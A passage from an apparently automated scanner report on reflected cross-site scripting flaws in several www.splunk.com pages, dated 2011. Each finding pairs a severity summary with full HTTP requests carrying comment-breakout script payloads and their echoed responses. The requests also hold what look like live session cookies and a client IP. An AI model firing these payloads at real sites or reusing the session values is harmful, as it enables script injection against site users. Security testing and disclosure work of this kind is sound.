ETag: d4641a57ecb4344e9a6e8705a84e0a831296944231
Last-Modified: Sat, 05 Feb 2011 22:17:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>47564be78ef/SP-CAAADSB -->
...[SNIP]...

4.598. http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/security-and-compliance-solutions/SP-CAAADSB

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 1d314--><script>alert(1)</script>526c94c9c44 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/security-and-compliance-solutions/SP-CAAADSB1d314--><script>alert(1)</script>526c94c9c44 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:40 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:40 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>526c94c9c44 -->
...[SNIP]...

4.599. http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/security-and-compliance-solutions/SP-CAAADSB

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5179e--><script>alert(1)</script>3f029930d0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/security-and-compliance-solutions/SP-CAAADSB?5179e--><script>alert(1)</script>3f029930d0d=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:44 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37770

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3f029930d0d=1 -->
...[SNIP]...

4.600. http://www.splunk.com/view/services/SP-CAAAFQJ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/services/SP-CAAAFQJ

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 378fb--><script>alert(1)</script>e6e9887ca3e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view378fb--><script>alert(1)</script>e6e9887ca3e/services/SP-CAAAFQJ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:14 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:14 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:14 GMT; path=/
ETag: 5949bb1f2c981ebe7624e1a800aec3141296944114
Last-Modified: Sat, 05 Feb 2011 22:15:14 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e6e9887ca3e/services/SP-CAAAFQJ -->
...[SNIP]...

4.601. http://www.splunk.com/view/services/SP-CAAAFQJ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/services/SP-CAAAFQJ

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 96328--><script>alert(1)</script>d3930effb69 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/services96328--><script>alert(1)</script>d3930effb69/SP-CAAAFQJ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:50 GMT; path=/
ETag: 3c6b33044d2348f7f74840f87a9fe1eb1296944151
Last-Modified: Sat, 05 Feb 2011 22:15:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d3930effb69/SP-CAAAFQJ -->
...[SNIP]...

4.602. http://www.splunk.com/view/services/SP-CAAAFQJ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/services/SP-CAAAFQJ

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b9fea--><script>alert(1)</script>abceb6f05bb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/services/SP-CAAAFQJb9fea--><script>alert(1)</script>abceb6f05bb HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:21 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:21 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>abceb6f05bb -->
...[SNIP]...

4.603. http://www.splunk.com/view/services/SP-CAAAFQJ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/services/SP-CAAAFQJ

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload d63cc--><script>alert(1)</script>8e0336acb25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/services/SP-CAAAFQJ?d63cc--><script>alert(1)</script>8e0336acb25=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: dfa359c45172d7ec39a902328d590b171296944071
Last-Modified: Sat, 05 Feb 2011 22:14:31 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34860

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8e0336acb25=1 -->
...[SNIP]...

4.604. http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/splunk-at-whitepages/SP-CAAAFUY

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 6480e--><script>alert(1)</script>5d666728ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view6480e--><script>alert(1)</script>5d666728ac/splunk-at-whitepages/SP-CAAAFUY HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:14 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 5dbc03112d1392066e48343951ae874d1297008194
Last-Modified: Sun, 06 Feb 2011 16:03:14 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5d666728ac/splunk-at-whitepages/SP-CAAAFUY -->
...[SNIP]...

4.605. http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/splunk-at-whitepages/SP-CAAAFUY

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 760d6--><script>alert(1)</script>4082375e06b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/splunk-at-whitepages760d6--><script>alert(1)</script>4082375e06b/SP-CAAAFUY HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 66f8767cdc34440646d89547f362c1001297008219
Last-Modified: Sun, 06 Feb 2011 16:03:39 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4082375e06b/SP-CAAAFUY -->
...[SNIP]...

4.606. http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/splunk-at-whitepages/SP-CAAAFUY

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 336b9--><script>alert(1)</script>d6244de34b3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/splunk-at-whitepages/SP-CAAAFUY336b9--><script>alert(1)</script>d6244de34b3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:03 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 33b75e3e3844ad4e79be0f80356551121297008244
Last-Modified: Sun, 06 Feb 2011 16:04:04 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d6244de34b3 -->
...[SNIP]...

4.607. http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/splunk-at-whitepages/SP-CAAAFUY

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ea734--><script>alert(1)</script>daea00f9957 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

